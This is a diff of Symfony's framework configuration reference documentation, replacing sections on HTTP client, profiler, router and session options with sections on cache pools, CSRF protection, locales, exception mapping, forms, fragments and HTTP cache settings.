This -class has to implement :class:`Symfony\\Component\\HttpClient\\Retry\\RetryBackOffInterface`. + Your service needs to implement the ``Psr\Cache\CacheItemPoolInterface`` interface. -base_uri -........ +clearer +""""""" **type**: ``string`` -URI that is merged into relative URIs, following the rules explained in the -`RFC 3986`_ standard. This is useful when all the requests you make share a -common prefix (e.g. ``https://api.github.com/``) so you can avoid adding it to -every request. +The cache clearer used to clear your PSR-6 cache. -Here are some common examples of how ``base_uri`` merging works in practice: +.. seealso:: -======================= ================== ========================== -``base_uri`` Relative URI Actual Requested URI -======================= ================== ========================== -http://example.org /bar http://example.org/bar -http://example.org/foo /bar http://example.org/bar -http://example.org/foo bar http://example.org/bar -http://example.org/foo/ bar http://example.org/foo/bar -http://example.org http://symfony.com http://symfony.com -http://example.org/?bar bar http://example.org/bar -======================= ================== ========================== + For more information, see :class:`Symfony\\Component\\HttpKernel\\CacheClearer\\Psr6CacheClearer`. -bindto -...... +default_lifetime +"""""""""""""""" -**type**: ``string`` +**type**: ``integer`` | ``string`` -A network interface name, IP address, a host name or a UNIX socket to use as the -outgoing network interface. +Default lifetime of your cache items. Give an integer value to set the default +lifetime in seconds. A string value could be ISO 8601 time interval, like ``"PT5M"`` +or a PHP date expression that is accepted by ``strtotime()``, like ``"5 minutes"``. -buffer -...... +If no value is provided, the cache adapter will fallback to the default value on +the actual cache storage. -**type**: ``bool`` | ``Closure`` +.. _reference-cache-pools-name: -Buffering the response means that you can access its content multiple times -without performing the request again. Buffering is enabled by default when the -content type of the response is ``text/*``, ``application/json`` or ``application/xml``. +name +"""" -If this option is a boolean value, the response is buffered when the value is -``true``. If this option is a closure, the response is buffered when the -returned value is ``true`` (the closure receives as argument an array with the -response headers). +**type**: ``prototype`` -cafile -...... +Name of the pool you want to create. -**type**: ``string`` +.. note:: -The path of the certificate authority file that contains one or more -certificates used to verify the other servers' certificates. + Your pool name must differ from ``cache.app`` or ``cache.system``. -capath -...... +provider +"""""""" **type**: ``string`` -The path to a directory that contains one or more certificate authority files. +Overwrite the default service name or DSN respectively, if you do not want to +use what is configured as ``default_X_provider`` under ``cache``. See the +description of the default provider setting above for information on how to +specify your specific provider. -ciphers -....... +public +"""""" -**type**: ``string`` +**type**: ``boolean`` **default**: ``false`` -A list of the names of the ciphers allowed for the SSL/TLS connections. They -can be separated by colons, commas or spaces (e.g. ``'RC4-SHA:TLS13-AES-128-GCM-SHA256'``). +Whether your service should be public or not. -decider_service -............... +tags +"""" -**type**: ``string`` +**type**: ``boolean`` | ``string`` **default**: ``null`` -.. versionadded:: 5.2 +Whether your service should be able to handle tags or not. +Can also be the service id of another cache pool where tags will be stored. - The ``decider_service`` option was introduced in Symfony 5.2. +.. _reference-cache-prefix-seed: -The service id used to decide if a request should be retried. By default, it -uses an instance of -:class:`Symfony\\Component\\HttpClient\\Retry\\HttpStatusCodeDecider` configured -with the ``http_codes`` option. This class has to implement -:class:`Symfony\\Component\\HttpClient\\Retry\\RetryDeciderInterface`. +prefix_seed +........... -delay -..... +**type**: ``string`` **default**: ``_%kernel.project_dir%.%kernel.container_class%`` -**type**: ``integer`` **default**: ``1000`` +This value is used as part of the "namespace" generated for the +cache item keys. A common practice is to use the unique name of the application +(e.g. ``symfony.com``) because that prevents naming collisions when deploying +multiple applications into the same path (on different servers) that share the +same cache backend. -.. versionadded:: 5.2 +It's also useful when using `blue/green deployment`_ strategies and more +generally, when you need to abstract out the actual deployment directory (for +example, when warming caches offline). - The ``delay`` option was introduced in Symfony 5.2. +.. note:: -The initial delay in milliseconds used to compute the waiting time between retries. + The ``prefix_seed`` option is used at compile time. This means + that any change made to this value after container's compilation + will have no effect. -.. _reference-http-client-retry-enabled: +.. _reference-cache-system: -enabled -....... +system +...... -**type**: ``boolean`` **default**: ``false`` +**type**: ``string`` **default**: ``cache.adapter.system`` -Whether to enable the support for retry failed HTTP request or not. -This setting is automatically set to true when one of the child settings is configured. +The cache adapter used by the ``cache.system`` service. It supports the same +adapters available for the ``cache.app`` service. -headers -....... +.. _reference-framework-csrf-protection: -**type**: ``array`` +csrf_protection +~~~~~~~~~~~~~~~ -An associative array of the HTTP headers added before making the request. This -value must use the format ``['header-name' => 'value0, value1, ...']``. - -http_codes -.......... +.. seealso:: -**type**: ``array`` **default**: ``[423, 425, 429, 500, 502, 503, 504, 507, 510]`` + For more information about CSRF protection, see :doc:`/security/csrf`. -.. versionadded:: 5.2 +enabled +....... - The ``http_codes`` option was introduced in Symfony 5.2. +**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation -The list of HTTP status codes that triggers a retry of the request. +This option can be used to disable CSRF protection on *all* forms. But you +can also :ref:`disable CSRF protection on individual forms <form-csrf-customization>`. -http_version -............ +.. configuration-block:: -**type**: ``string`` | ``null`` **default**: ``null`` + .. code-block:: yaml -The HTTP version to use, typically ``'1.1'`` or ``'2.0'``. Leave it to ``null`` -to let Symfony select the best version automatically. + # config/packages/framework.yaml + framework: + # ... + csrf_protection: true -jitter -...... + .. code-block:: xml -**type**: ``float`` **default**: ``0.1`` (must be between 0.0 and 1.0) + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony + https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + <framework:config> + <framework:csrf-protection enabled="true"/> + </framework:config> + </container> -.. versionadded:: 5.2 + .. code-block:: php - The ``jitter`` option was introduced in Symfony 5.2. + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; + return static function (FrameworkConfig $framework): void { + $framework->csrfProtection() + ->enabled(true) + ; + }; -This option adds some randomness to the delay. It's useful to avoid sending -multiple requests to the server at the exact same time. The randomness is -calculated as ``delay * jitter``. For example: if delay is ``1000ms`` and jitter -is ``0.2``, the actual delay will be a number between ``800`` and ``1200`` (1000 +/- 20%). +If you're using forms, but want to avoid starting your session (e.g. using +forms in an API-only website), ``csrf_protection`` will need to be set to +``false``. -local_cert -.......... +stateless_token_ids +................... -**type**: ``string`` +**type**: ``array`` **default**: ``[]`` -The path to a file that contains the `PEM formatted`_ certificate used by the -HTTP client. This is often combined with the ``local_pk`` and ``passphrase`` -options. +The list of CSRF token ids that will use :ref:`stateless CSRF protection <csrf-stateless-tokens>`. -local_pk -........ +.. versionadded:: 7.2 -**type**: ``string`` + The ``stateless_token_ids`` option was introduced in Symfony 7.2. -The path of a file that contains the `PEM formatted`_ private key of the -certificate defined in the ``local_cert`` option. +check_header +............ -max_delay -......... +**type**: ``integer`` or ``bool`` **default**: ``false`` -**type**: ``integer`` **default**: ``0`` +Whether to check the CSRF token in an HTTP header in addition to the cookie when +using :ref:`stateless CSRF protection <csrf-stateless-tokens>`. You can also set +this to ``2`` (the value of the ``CHECK_ONLY_HEADER`` constant on the +:class:`Symfony\\Component\\Security\\Csrf\\SameOriginCsrfTokenManager` class) +to check only the header and ignore the cookie. -.. versionadded:: 5.2 +.. versionadded:: 7.2 - The ``max_delay`` option was introduced in Symfony 5.2. + The ``check_header`` option was introduced in Symfony 7.2. -The maximum amount of milliseconds initial to wait between retries. -Use ``0`` to not limit the duration. +cookie_name +........... -max_duration -............ +**type**: ``string`` **default**: ``csrf-token`` -**type**: ``float`` **default**: 0 +The name of the cookie (and HTTP header) to use for the double-submit when using +:ref:`stateless CSRF protection <csrf-stateless-tokens>`. -The maximum execution time, in seconds, that the request and the response are -allowed to take. A value lower than or equal to 0 means it is unlimited. +.. versionadded:: 7.2 -max_host_connections -.................... + The ``cookie_name`` option was introduced in Symfony 7.2. -**type**: ``integer`` **default**: ``6`` +.. _config-framework-default_locale: -Defines the maximum amount of simultaneously open connections to a single host -(considering a "host" the same as a "host name + port number" pair). This limit -also applies for proxy connections, where the proxy is considered to be the host -for which this limit is applied. +default_locale +~~~~~~~~~~~~~~ -max_redirects -............. +**type**: ``string`` **default**: ``en`` -**type**: ``integer`` **default**: ``20`` +The default locale is used if no ``_locale`` routing parameter has been +set. It is available with the +:method:`Request::getDefaultLocale <Symfony\\Component\\HttpFoundation\\Request::getDefaultLocale>` +method. -The maximum number of redirects to follow. Use ``0`` to not follow any -redirection. +.. seealso:: -max_retries -........... + You can read more information about the default locale in + :ref:`translation-default-locale`. -**type**: ``integer`` **default**: ``3`` +.. _reference-translator-enabled-locales: +.. _reference-enabled-locales: -.. versionadded:: 5.2 +enabled_locales +............... - The ``max_retries`` option was introduced in Symfony 5.2. +**type**: ``array`` **default**: ``[]`` (empty array = enable all locales) -The maximum number of retries for failing requests. When the maximum is reached, -the client returns the last received response. +Symfony applications generate by default the translation files for validation +and security messages in all locales. If your application only uses some +locales, use this option to restrict the files generated by Symfony and improve +performance a bit: -multiplier -.......... +.. configuration-block:: -**type**: ``float`` **default**: ``2`` + .. code-block:: yaml -.. versionadded:: 5.2 + # config/packages/translation.yaml + framework: + enabled_locales: ['en', 'es'] - The ``multiplier`` option was introduced in Symfony 5.2. + .. code-block:: xml -This value is multiplied to the delay each time a retry occurs, to distribute -retries in time instead of making all of them sequentially. + <!-- config/packages/translation.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> -no_proxy -........ + <framework:config> + <enabled-locale>en</enabled-locale> + <enabled-locale>es</enabled-locale> + </framework:config> + </container> -**type**: ``string`` | ``null`` **default**: ``null`` + .. code-block:: php -A comma separated list of hosts that do not require a proxy to be reached, even -if one is configured. Use the ``'*'`` wildcard to match all hosts and an empty -string to match none (disables the proxy). + // config/packages/translation.php + use Symfony\Config\FrameworkConfig; -passphrase -.......... + return static function (FrameworkConfig $framework): void { + $framework->enabledLocales(['en', 'es']); + }; -**type**: ``string`` +An added bonus of defining the enabled locales is that they are automatically +added as a requirement of the :ref:`special _locale parameter <routing-locale-parameter>`. +For example, if you define this value as ``['ar', 'he', 'ja', 'zh']``, the +``_locale`` routing parameter will have an ``ar|he|ja|zh`` requirement. If some +user makes requests with a locale not included in this option, they'll see a 404 error. -The passphrase used to encrypt the certificate stored in the file defined in the -``local_cert`` option. +set_content_language_from_locale +................................ -peer_fingerprint -................ +**type**: ``boolean`` **default**: ``false`` -**type**: ``array`` +If this option is set to ``true``, the response will have a ``Content-Language`` +HTTP header set with the ``Request`` locale. -When negotiating a TLS or SSL connection, the server sends a certificate -indicating its identity. A public key is extracted from this certificate and if -it does not exactly match any of the public keys provided in this option, the -connection is aborted before sending or receiving any data. +set_locale_from_accept_language +............................... -The value of this option is an associative array of ``algorithm => hash`` -(e.g ``['pin-sha256' => '...']``). +**type**: ``boolean`` **default**: ``false`` -proxy -..... +If this option is set to ``true``, the ``Request`` locale will automatically be +set to the value of the ``Accept-Language`` HTTP header. -**type**: ``string`` | ``null`` +When the ``_locale`` request attribute is passed, the ``Accept-Language`` header +is ignored. -The HTTP proxy to use to make the requests. Leave it to ``null`` to detect the -proxy automatically based on your system configuration. +disallow_search_engine_index +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -query -..... +**type**: ``boolean`` **default**: ``true`` when the debug mode is enabled, ``false`` otherwise. -**type**: ``array`` +If ``true``, Symfony adds a ``X-Robots-Tag: noindex`` HTTP tag to all responses +(unless your own app adds that header, in which case it's not modified). This +`X-Robots-Tag HTTP header`_ tells search engines to not index your web site. +This option is a protection measure in case you accidentally publish your site +in debug mode. -An associative array of the query string values added to the URL before making -the request. This value must use the format ``['parameter-name' => parameter-value, ...]``. +.. _config-framework-error_controller: -resolve -....... +error_controller +~~~~~~~~~~~~~~~~ -**type**: ``array`` +**type**: ``string`` **default**: ``error_controller`` -A list of hostnames and their IP addresses to pre-populate the DNS cache used by -the HTTP client in order to avoid a DNS lookup for those hosts. This option is -useful to improve security when IPs are checked before the URL is passed to the -client and to make your tests easier. +This is the controller that is called when an exception is thrown anywhere in +your application. The default controller +(:class:`Symfony\\Component\\HttpKernel\\Controller\\ErrorController`) +renders specific templates under different error conditions (see +:doc:`/controller/error_pages`). -The value of this option is an associative array of ``domain => IP address`` -(e.g ``['symfony.com' => '46.137.106.254', ...]``). +esi +~~~ -scope -..... +.. seealso:: -**type**: ``string`` + You can read more about Edge Side Includes (ESI) in :ref:`edge-side-includes`. -For scoped clients only: the regular expression that the URL must match before -applying all other non-default options. By default, the scope is derived from -`base_uri`_. +.. _reference-esi-enabled: -timeout +enabled ....... -**type**: ``float`` **default**: depends on your PHP config +**type**: ``boolean`` **default**: ``false`` -Time, in seconds, to wait for a response. If the response stales for longer, a -:class:`Symfony\\Component\\HttpClient\\Exception\\TransportException` is thrown. -Its default value is the same as the value of PHP's `default_socket_timeout`_ -config option. +Whether to enable the edge side includes support in the framework. -verify_host -........... +You can also set ``esi`` to ``true`` to enable it: -**type**: ``boolean`` +.. configuration-block:: -If ``true``, the certificate sent by other servers is verified to ensure that -their common name matches the host included in the URL. This is usually -combined with ``verify_peer`` to also verify the certificate authenticity. + .. code-block:: yaml -verify_peer -........... + # config/packages/framework.yaml + framework: + esi: true -**type**: ``boolean`` + .. code-block:: xml -If ``true``, the certificate sent by other servers when negotiating a TLS or SSL -connection is verified for authenticity. Authenticating the certificate is not -enough to be sure about the server, so you should combine this with the -``verify_host`` option. + <!-- config/packages/framework.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> -profiler -~~~~~~~~ + <framework:config> + <framework:esi/> + </framework:config> + </container> -.. _reference-profiler-enabled: + .. code-block:: php -enabled -....... + // config/packages/framework.php + use Symfony\Config\FrameworkConfig; -**type**: ``boolean`` **default**: ``false`` + return static function (FrameworkConfig $framework): void { + $framework->esi()->enabled(true); + }; -The profiler can be enabled by setting this option to ``true``. When you -install it using Symfony Flex, the profiler is enabled in the ``dev`` -and ``test`` environments. +.. _framework_exceptions: -.. note:: +exceptions +~~~~~~~~~~ - The profiler works independently from the Web Developer Toolbar, see - the :doc:`WebProfilerBundle configuration </reference/configuration/web_profiler>` - on how to disable/enable the toolbar. +**type**: ``array`` -collect -....... - -**type**: ``boolean`` **default**: ``true`` - -This option configures the way the profiler behaves when it is enabled. If set -to ``true``, the profiler collects data for all requests. If you want to only -collect information on-demand, you can set the ``collect`` flag to ``false`` and -activate the data collectors manually:: - - $profiler->enable(); - -only_exceptions -............... - -**type**: ``boolean`` **default**: ``false`` - -When this is set to ``true``, the profiler will only be enabled when an -exception is thrown during the handling of the request. - -only_master_requests -.................... - -**type**: ``boolean`` **default**: ``false`` - -When this is set to ``true``, the profiler will only be enabled on the master -requests (and not on the subrequests). - -dsn -... - -**type**: ``string`` **default**: ``'file:%kernel.cache_dir%/profiler'`` - -The DSN where to store the profiling information. - -request -~~~~~~~ - -formats -....... - -**type**: ``array`` **default**: ``[]`` - -This setting is used to associate additional request formats (e.g. ``html``) -to one or more mime types (e.g. ``text/html``), which will allow you to use the -format & mime types to call -:method:`Request::getFormat($mimeType) <Symfony\\Component\\HttpFoundation\\Request::getFormat>` or -:method:`Request::getMimeType($format) <Symfony\\Component\\HttpFoundation\\Request::getMimeType>`. - -In practice, this is important because Symfony uses it to automatically set the -``Content-Type`` header on the ``Response`` (if you don't explicitly set one). -If you pass an array of mime types, the first will be used for the header. - -To configure a ``jsonp`` format: +Defines the :ref:`log level </logging>`, :ref:`log channel </logging/channels_handlers>` +and HTTP status code applied to the exceptions that match the given exception class: .. configuration-block:: .. code-block:: yaml - # config/packages/framework.yaml + # config/packages/exceptions.yaml framework: - request: - formats: - jsonp: 'application/javascript' + exceptions: + Symfony\Component\HttpKernel\Exception\BadRequestHttpException: + log_level: 'debug' + status_code: 422 + log_channel: 'custom_channel' .. code-block:: xml - <!-- config/packages/framework.xml --> + <!-- config/packages/exceptions.xml --> <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:framework="http://symfony.com/schema/dic/symfony" xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/symfony - https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> <framework:config> - <framework:request> - <framework:format name="jsonp"> - <framework:mime-type>application/javascript</framework:mime-type> - </framework:format> - </framework:request> + <framework:exception + class="Symfony\Component\HttpKernel\Exception\BadRequestHttpException" + log-level="debug" + status-code="422" + log-channel="custom_channel" + /> + <!-- ... --> </framework:config> </container> .. code-block:: php - // config/packages/framework.php - $container->loadFromExtension('framework', [ - 'request' => [ - 'formats' => [ - 'jsonp' => 'application/javascript', - ], - ], - ]); - -router -~~~~~~ + // config/packages/exceptions.php + use Symfony\Component\HttpKernel\Exception\BadRequestHttpException; + use Symfony\Config\FrameworkConfig; -resource -........ + return static function (FrameworkConfig $framework): void { + $framework->exception(BadRequestHttpException::class) + ->logLevel('debug') + ->statusCode(422) + ->logChannel('custom_channel') + ; + }; -**type**: ``string`` **required** +.. versionadded:: 7.3 -The path the main routing resource (e.g. a YAML file) that contains the -routes and imports the router should load. + The ``log_channel`` option was introduced in Symfony 7.3. -.. _reference-router-type: +The order in which you configure exceptions is important because Symfony will +use the configuration of the first exception that matches ``instanceof``: -type -.... +.. code-block:: yaml -**type**: ``string`` + # config/packages/exceptions.yaml + framework: + exceptions: + Exception: + log_level: 'debug' + status_code: 404 + # The following configuration will never be used because \RuntimeException extends \Exception + RuntimeException: + log_level: 'debug' + status_code: 422 -The type of the resource to hint the loaders about the format. This isn't -needed when you use the default routers with the expected file extensions -(``.xml``, ``.yaml``, ``.php``). +You can map a status code and a set of headers to an exception thanks +to the ``#[WithHttpStatus]`` attribute on the exception class:: -http_port -......... + namespace App\Exception; -**type**: ``integer`` **default**: ``80`` + use Symfony\Component\HttpKernel\Attribute\WithHttpStatus; -The port for normal http requests (this is used when matching the scheme). + #[WithHttpStatus(422, [ + 'Retry-After' => 10, + 'X-Custom-Header' => 'header-value', + ])] + class CustomException extends \Exception + { + } -https_port -.......... +It is also possible to map a log level on a custom exception class using +the ``#[WithLogLevel]`` attribute:: -**type**: ``integer`` **default**: ``443`` + namespace App\Exception; -The port for https requests (this is used when matching the scheme). + use Psr\Log\LogLevel; + use Symfony\Component\HttpKernel\Attribute\WithLogLevel; -strict_requirements -................... + #[WithLogLevel(LogLevel::WARNING)] + class CustomException extends \Exception + { + } -**type**: ``mixed`` **default**: ``true`` +The attributes can also be added to interfaces directly:: -Determines the routing generator behavior. When generating a route that -has specific :ref:`parameter requirements <routing-requirements>`, the generator -can behave differently in case the used parameters do not meet these requirements. + namespace App\Exception; -The value can be one of: + use Symfony\Component\HttpKernel\Attribute\WithHttpStatus; -``true`` - Throw an exception when the requirements are not met; -``false`` - Disable exceptions when the requirements are not met and return ``null`` - instead; -``null`` - Disable checking the requirements (thus, match the route even when the - requirements don't match). + #[WithHttpStatus(422)] + interface CustomExceptionInterface + { + } -``true`` is recommended in the development environment, while ``false`` -or ``null`` might be preferred in production. + class CustomException extends \Exception implements CustomExceptionInterface + { + } -utf8 -.... +.. versionadded:: 7.1 -**type**: ``boolean`` **default**: ``false`` + Support to use ``#[WithHttpStatus]`` and ``#[WithLogLevel]`` attributes + on interfaces was introduced in Symfony 7.1. -.. deprecated:: 5.1 +.. _reference-framework-form: - Not setting this option is deprecated since Symfony 5.1. Moreover, the - default value of this option will change to ``true`` in Symfony 6.0. +form +~~~~ -When this option is set to ``true``, the regular expressions used in the -:ref:`requirements of route parameters <routing-requirements>` will be run -using the `utf-8 modifier`_. This will for example match any UTF-8 character -when using ``.``, instead of matching only a single byte. +.. _reference-form-enabled: -If the charset of your application is UTF-8 (as defined in the -:ref:`getCharset() method <configuration-kernel-charset>` of your kernel) it's -recommended to set it to ``true``. This will make non-UTF8 URLs to generate 404 -errors. +enabled +....... -.. _config-framework-session: +**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation -session -~~~~~~~ +Whether to enable the form services or not in the service container. If +you don't use forms, setting this to ``false`` may increase your application's +performance because less services will be loaded into the container. -storage_id -.......... +This option will automatically be set to ``true`` when one of the child +settings is configured. -**type**: ``string`` **default**: ``'session.storage.native'`` +.. note:: -The service id used for session storage. The ``session.storage`` service -alias will be set to this service id. This class has to implement -:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageInterface`. + This will automatically enable the `validation`_. -.. _config-framework-session-handler-id: +.. seealso:: -handler_id -.......... + For more details, see :doc:`/forms`. -**type**: ``string`` **default**: ``null`` +csrf_protection +............... -The service id used for session storage. The default ``null`` value means to use -the native PHP session mechanism. Set it to ``'session.handler.native_file'`` to -let Symfony manage the sessions itself using files to store the session metadata. -You can also :doc:`store sessions in a database </session/database>`. +field_name +'''''''''' -.. _name: +**type**: ``string`` **default**: ``_token`` -name -.... +This is the field name that you should give to the CSRF token field of your forms. -**type**: ``string`` **default**: ``null`` +field_attr +'''''''''' -This specifies the name of the session cookie. By default, it will use the -cookie name which is defined in the ``php.ini`` with the ``session.name`` -directive. +**type**: ``array`` **default**: ``['data-controller' => 'csrf-protection']`` -cookie_lifetime -............... +HTML attributes to add to the CSRF token field of your forms. -**type**: ``integer`` **default**: ``null`` +token_id +'''''''' -This determines the lifetime of the session - in seconds. The default value -- ``null`` - means that the ``session.cookie_lifetime`` value from ``php.ini`` -will be used. Setting this value to ``0`` means the cookie is valid for -the length of the browser session. +**type**: ``string`` **default**: ``null`` -cookie_path -........... +The CSRF token ID used to validate the CSRF tokens of your forms. This setting +applies only to form types that use :ref:`service autoconfiguration <services-autoconfigure>`, +which typically means your own form types, not those registered by third-party bundles. -**type**: ``string`` **default**: ``/`` +fragments +~~~~~~~~~ -This determines the path to set in the session cookie. By default, it will -use ``/``. +.. seealso:: -cache_limiter -............. + Learn more about fragments in the + :ref:`HTTP Cache article <http_cache-fragments>`. -**type**: ``string`` or ``int`` **default**: ``''`` +.. _reference-fragments-enabled: -If set to ``0``, Symfony won't set any particular header related to the cache -and it will rely on the cache control method configured in the -`session.cache-limiter`_ PHP.ini option. +enabled +....... -Unlike the other session options, ``cache_limiter`` is set as a regular -:ref:`container parameter <configuration-parameters>`: +**type**: ``boolean`` **default**: ``false`` -.. configuration-block:: +Whether to enable the fragment listener or not. The fragment listener is +used to render ESI fragments independently of the rest of the page. - .. code-block:: yaml +This setting is automatically set to ``true`` when one of the child settings +is configured. - # config/services.yaml - parameters: - session.storage.options: - cache_limiter: 0 +hinclude_default_template +......................... - .. code-block:: xml +**type**: ``string`` **default**: ``null`` - <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd"> +Sets the content shown during the loading of the fragment or when JavaScript +is disabled. This can be either a template name or the content itself. - <parameters> - <parameter key="session.storage.options" type="collection"> - <parameter key="cache_limiter">0</parameter> - </parameter> - </parameters> - </container> +.. seealso:: - .. code-block:: php + See :ref:`templates-hinclude` for more information about hinclude. - // config/services.php - $container->setParameter('session.storage.options', [ - 'cache_limiter' => 0, - ]); +.. _reference-fragments-path: -cookie_domain -............. +path +.... -**type**: ``string`` **default**: ``''`` +**type**: ``string`` **default**: ``/_fragment`` -This determines the domain to set in the session cookie. By default, it's -blank, meaning the host name of the server which generated the cookie according -to the cookie specification. +The path prefix for fragments. The fragment listener will only be executed +when the request starts with this path. -cookie_samesite -............... +handle_all_throwables +~~~~~~~~~~~~~~~~~~~~~ -**type**: ``string`` or ``null`` **default**: ``'lax'`` +**type**: ``boolean`` **default**: ``true`` -It controls the way cookies are sent when the HTTP request was not originated -from the same domain the cookies are associated to. Setting this option is -recommended to mitigate `CSRF security attacks`_. +When set to ``true``, the Symfony kernel will catch all ``\Throwable`` exceptions +thrown by the application and will turn them into HTTP responses. -By default, browsers send all cookies related to the domain of the HTTP request. -This may be a problem for example when you visit a forum and some malicious -comment includes a link like ``https://some-bank.com/?send_money_to=attacker&amount=1000``. -If you were previously logged into your bank website, the browser will send all -those cookies when making that HTTP request. +html_sanitizer +~~~~~~~~~~~~~~ -The possible values for this option are: +The ``html_sanitizer`` option (and its children) are used to configure +custom HTML sanitizers. Read more about the options in the +:ref:`HTML sanitizer documentation <html-sanitizer-configuration>`. -* ``null``, use it to disable this protection. Same behavior as in older Symfony - versions. -* ``'none'`` (or the ``Cookie::SAMESITE_NONE`` constant), use it to allow - sending of cookies when the HTTP request originated from a different domain - (previously this was the default behavior of null, but in newer browsers ``'lax'`` - would be applied when the header has not been set) -* ``'strict'`` (or the ``Cookie::SAMESITE_STRICT`` constant), use it to never - send any cookie when the HTTP request is not originated from the same domain. -* ``'lax'`` (or the ``Cookie::SAMESITE_LAX`` constant), use it to allow sending - cookies when the request originated from a different domain, but only when the - user consciously made the request (by clicking a link or submitting a form - with the ``GET`` method). +.. _configuration-framework-http_cache: -.. note:: +http_cache +~~~~~~~~~~ - This option is available starting from PHP 7.3, but Symfony has a polyfill - so you can use it with any older PHP version as well. +allow_reload +............ -cookie_secure -............. +**type**: ``boolean`` **default**: ``false`` -**type**: ``boolean`` or ``null`` **default**: ``null`` +Specifies whether the client can force a cache reload by including a +Cache-Control "no-cache" directive in the request. Set it to ``true`` +for compliance with RFC 2616. -This determines whether cookies should only be sent over secure connections. In -addition to ``true`` and ``false``, there's a special ``null`` value that -means ``true`` for HTTPS requests and ``false`` for HTTP requests. +allow_revalidate +................ -cookie_httponly -............... +**type**: ``boolean`` **default**: ``false`` -**type**: ``boolean`` **default**: ``true`` +Specifies whether the client can force a cache revalidate by including a +Cache-Control "max-age=0" directive in the request. Set it to ``true`` +for compliance with RFC 2616. -This determines whether cookies should only be accessible through the HTTP -protocol. This means that the cookie won't be accessible by scripting -languages, such as JavaScript. This setting can effectively help to reduce -identity theft through XSS attacks. +debug +..... -gc_divisor -.......... +**type**: ``boolean`` **default**: ``%kernel.debug%`` -**type**: ``integer`` **default**: ``100`` +If true, exceptions are thrown when things go wrong. Otherwise, the cache will +try to carry on and deliver a meaningful response. -See `gc_probability`_. +default_ttl +........... -gc_probability -.............. +**type**: ``integer`` **default**: ``0`` -**type**: ``integer`` **default**: ``1`` +The number of seconds that a cache entry should be considered fresh when no +explicit freshness information is provided in a response. Explicit +Cache-Control or Expires headers override this value. -This defines the probability that the garbage collector (GC) process is -started on every session initialization. The probability is calculated by -using ``gc_probability`` / ``gc_divisor``, e.g. 1/100 means there is a 1% -chance that the GC process will start on each request. +enabled +....... -gc_maxlifetime -.............. +**type**: ``boolean`` **default**: ``false`` -**type**: ``integer`` **default**: ``1440`` +private_headers +............... -This determines the number of seconds after which data will be seen as "garbage" -and potentially cleaned up. Garbage collection may occur during session -start and depends on `gc_divisor`_ and `gc_probability`_. +**type**: ``array`` **default**: ``['Authorization', 'Cookie']`` -sid_length -.......... +Set of request headers that trigger "private" cache-control behavior on responses +that don't explicitly state whether the response is public or private via a +Cache-Control directive. + +skip_response_headers +..................... -**type**: ``integer`` **default**: ``32`` +**type**: ``array`` **default**: ``Set-Cookie`` -This determines the length of session ID string, which can be an integer between -``22`` and ``256`` (both inclusive), being ``32`` the recommended value. Longer -session IDs are harder to guess. +Set of response headers that will never be cached even when the response is cacheable +and public. + +stale_if_error +.............. -This option is related to the `session.sid_length PHP option`_. +**type**: ``integer`` **default**: ``60`` -sid_bits_per_character +Specifies the default number of seconds (the granularity is the second) during +which the cache can serve a stale response when an error is encountered. +This setting is overridden by the stale-if-error HTTP +Cache-Control extension (see RFC 5861). + +stale_while_revalidate ...................... -**type**: ``integer`` **default**: ``4`` +**type**: ``integer`` **default**: ``2`` -This determines the number of bits in encoded session ID character. The possible -values are ``4`` (0-9, a-f), ``5`` (0-9, a-v), and ``6`` (0-9, a-z, A-Z, "-", ","). -The more bits results in stronger session ID. ``5`` is recommended value for -most environments. +Specifies the default number of seconds (the granularity is the second as the +Response TTL precision is a second) during which the cache can immediately return +a stale response while it revalidates it in the background. +This setting is overridden by the stale-while-revalidate HTTP Cache-Control +extension (see RFC 5861). -This option is related to the `session.sid_bits_per_character PHP option`_. +trace_header +............ -save_path -......... +**type**: ``string`` **default**: ``'X-Symfony-Cache'`` -**type**: ``string`` **default**: ``%kernel.cache_dir%/sessions`` +Header name to use for traces. -This determines the argument to be passed to the save handler. If you choose -the default file handler, this is the path where the session files are created. +trace_level +........... -You can also set this value to the ``save_path`` of your ``php.ini`` by -setting the value to ``null``: +**type**: ``string`` **possible values**: ``'none'``, ``'short'`` or ``'full'`` + +For 'short', a concise trace of the main request will be added as an HTTP header. +'full' will add traces for all requests (including ESI subrequests). +(default: ``'full'`` if in debug; ``'none'`` otherwise) + +.. _reference-http-client: + +http_client +~~~~~~~~~~~ + +When the HttpClient component is installed, an HTTP client is available +as a service named 